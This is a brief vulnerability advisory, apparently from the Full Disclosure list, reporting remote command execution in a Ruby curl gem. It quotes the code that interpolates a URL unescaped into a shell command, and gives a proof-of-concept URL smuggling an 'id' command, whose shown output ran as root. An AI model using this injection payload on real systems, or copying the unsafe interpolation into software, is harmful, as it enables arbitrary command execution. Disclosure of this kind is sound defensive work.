Full Disclosure: Curl Ruby Gem Remote command execution

["Larry W. Cashdollar" <larry0 () me com>]

Curl Ruby Gem Remote command execution
3/12/2013

https://github.com/tg0/curl

Specially crafted URLs can result in remote code execution:

In ./lib/curl.rb the following lines:

131       cmd = "curl #{cookies_store} #{browser_type} #{ () setup_params} {ref}  \"{url}\"  "
132         if @debug
133                 puts cmd.red
134         end
135         result = open_pipe(cmd)

PoC:

page = curl.get("http://vapid.dhs.org/\"\;id\/tmp\/p\;\"";)

larry () underfl0w:/tmp$ cat p
uid=0(root) gid=0(root) groups=0(root)

Larry W. Cashdollar
@_larry0
http://vapid.dhs.org

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